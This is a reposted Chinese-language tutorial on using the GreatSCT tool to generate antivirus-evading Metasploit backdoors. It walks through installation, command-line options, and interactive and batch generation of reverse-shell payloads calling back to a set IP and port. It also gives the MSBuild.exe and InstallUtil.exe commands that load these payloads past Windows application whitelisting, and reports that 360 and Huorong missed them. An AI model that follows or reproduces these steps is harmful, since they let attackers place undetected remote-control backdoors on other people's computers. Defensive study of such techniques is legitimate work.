轉載:https://mp.weixin.qq.com/s/s9DFRIgpvpE-_MneO0B_FQ
免殺能力一覽表
幾點說明:
1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒,也就是代表了Bypass。
2、爲了更好的對比效果,大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。
3、由於本機測試時只是安裝了360全家桶和火絨,所以默認情況下360和火絨殺毒情況指的是靜態+動態查殺。360殺毒版本5.0.0.8160(2020.01.01),火絨版本5.0.34.16(2020.01.01),360安全衛士12.0.0.2002(2020.01.01)。
4、其他殺軟的檢測指標是在virustotal.com(簡稱VT)上在線查殺,所以可能只是代表了靜態查殺能力,數據僅供參考,不足以作爲免殺或殺軟查殺能力的判斷指標。
5、完全不必要苛求一種免殺技術能bypass所有殺軟,這樣的技術肯定是有的,只是沒被公開,一旦公開第二天就能被殺了,其實我們只要能bypass目標主機上的殺軟就足夠了。
一、GreatSCT介紹
GreatSCT可以基於Metasploit、自定義shellcode、powershell等生成payload,然後可利用多種白名單程序進行加載,從而達到免殺的目的。
支持的6種白名單方式:
1、Installutil.exe:安裝程序工具是一款命令行工具,允許您通過運行安裝程序組件來安裝和卸載特定程序集中的服務器資源。
2、Msbuild.exe:Microsoft Build Engine是一個用於構建應用程序的平臺。這個引擎,也稱爲MSBuild。
3、Mshta.exe:Mshta.exe運行Microsoft HTML應用程序,Windows OS實用程序負責運行HTA(HTML應用程序)文件。我們可以運行JavaScript或Visual的HTML文件。
4、Regasm.exe:程序集註冊工具讀取程序集內的元數據,並將必要的記錄添加到註冊表中,從而允許COM客戶端透明地創建.NET框架類。
5、Regsvcs.exe:RegSvcs表示Microsoft .NET遠程註冊表服務,它以.NET服務安裝著稱。
6、Regsvr32.exe:Regsvr32是一個命令行實用程序,用於在Windows註冊表中註冊和取消註冊OLE控件,例如DLL和ActiveX控件。
二、安裝GreatSCT
GreatSCT依賴於python3環境,python2無法正常執行,而且操作系統建議kali或者parrot,其他系統還需要額外安裝msf。
1、從github上Clone到本地
git clone https://github.com/GreatSCT/GreatSCT.git
2、執行安裝程序
cd GreatSCT/setup
sudo ./setup.sh -c
3、注意事項
看安裝命令比較簡單,但其實裏面安裝的依賴程序還是挺多的。
比如其中有行安裝代碼是這樣的
apt-get -y -qq install mono-complete mono-mcs unzip wget git ruby p7zip wine wine32 wine64 winbind
看起來也沒什麼問題,但裝着裝着可能就各種異常了。
如果安裝時出現異常,可以根據setup.sh內容自己逐項的去安裝解決。
三、GreatSCT使用說明
使用命令python3 GreatSCT.py -h可以查看幫助說明
比較常用的幾個參數:
GreatSCT Options:
--update 更新GreatSCTk.
--version 顯示版本.
--list-tools 列出GreatSCT所有的可用工具(模塊),不過目前只有Bypass這一個模塊
-t Bypass 指定待使用的模塊,因爲只有bypass,所以就只能用-t Bypass了
Callback Settings:
--ip IP, --domain IP 指定回連的IP
--port Port 指定回連的端口
[*] Payload Settings:
--list-payloads 列出所有的可用payload
--generate-awl 利用所有模塊批量免殺後門
Great Scott Options:
-c [OPTION1=value OPTION2=value [OPTION1=value OPTION2=value ...]]
自定義payload選項
-o OUTPUT NAME 指定生產後門文件的名字
-p [PAYLOAD] 指定後門使用的payload
--clean 清除輸出文件夾
--msfoptions [OPTION=value [OPTION=value ...]]
指定msf選項
--msfvenom [windows/meterpreter/reverse_tcp]
利用Msfvenom生成shellcode
其中–list-payloads的使用方法是python3 GreatSCT.py -t Bypass --list-payloads,可使用的26個payload。
看名稱也很容易判斷出各payload的作用,主要是生成相應shellcode後,使用installutil、msbuild、regasm、regsvcs等白名單程序來執行。和專題19中的工具nps_payload原理差不多,只不過GreatSCT支持的白名單更多一些。
其中–generate-awl用法是python3 GreatSCT.py -t Bypass --generate-awl --ip 10.211.55.2 --port 3333,使用payload批量生成免殺後門。
四、利用GreatSCT生成後門
4.1 交互式生成單個後門
GreatSCT提供了傻瓜式的交互模式生成後門
執行python3 GreatSCT.py
輸入list可查看所有支持的工具模塊,只有一個
輸入use 1或者use Bypass可使用該模塊,並進入到payload選擇中
輸入list可查看所有模塊
輸入use 序號可選擇使用對應payload,我這裏就選msbuild/meterpreter/rev_https.py了,也就是use 8。進入參數設置。
一般只需要設置LHOST和LPORT就可以
輸入generate後開始生成後門文件,還會提示輸入文件名,不輸入的話會默認爲payload
啓動metasploit,可直接執行msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
把/usr/share/greatsct-output/source/payload.xml文件拷貝到測試機上。
使用命令C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe payload.xml來進行加載。
可正常上線
打開殺軟,動態+靜態都沒有提示
4.2 參數式生成單個後門
GreatSCT可以使用參數自動生成shellcode,比較方便快捷。
以基於installutil的shellcode爲例進行測試。
python3 GreatSCT.py --ip 10.211.55.2 --port 3333 -t Bypass -p installutil/meterpreter/rev_https.py
生成文件成功
生成的payload.exe不能直接執行,需要使用InstallUtil.exe來執行。
執行命令C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false payload.exe
可免殺,正常上線。
4.3 批量生成後門
還可以使用命令python3 GreatSCT.py -t Bypass --generate-awl --ip 10.211.55.2 --port 3333來批量生成後門文件,這樣每個payload對應一個後門。
執行後會在文件夾中生成類似的下列文件,自己可以逐一測試。
五、GreatSCT小結
GreatSCT由於是基於白名單的文件加載,所以生成的.xml或.dll之類免殺效果比較好,而.exe文件免殺效果就比較一般了,所以可以根據具體情境去結合使用。GreatSCT提供了6中白名單方式,綜合免殺效果還算可以。
六、參考資料
官方github:https://github.com/GreatSCT/GreatSCT
GreatSct -應用程序白名單bypass工具:https://www.cnblogs.com/backlion/p/10493919.html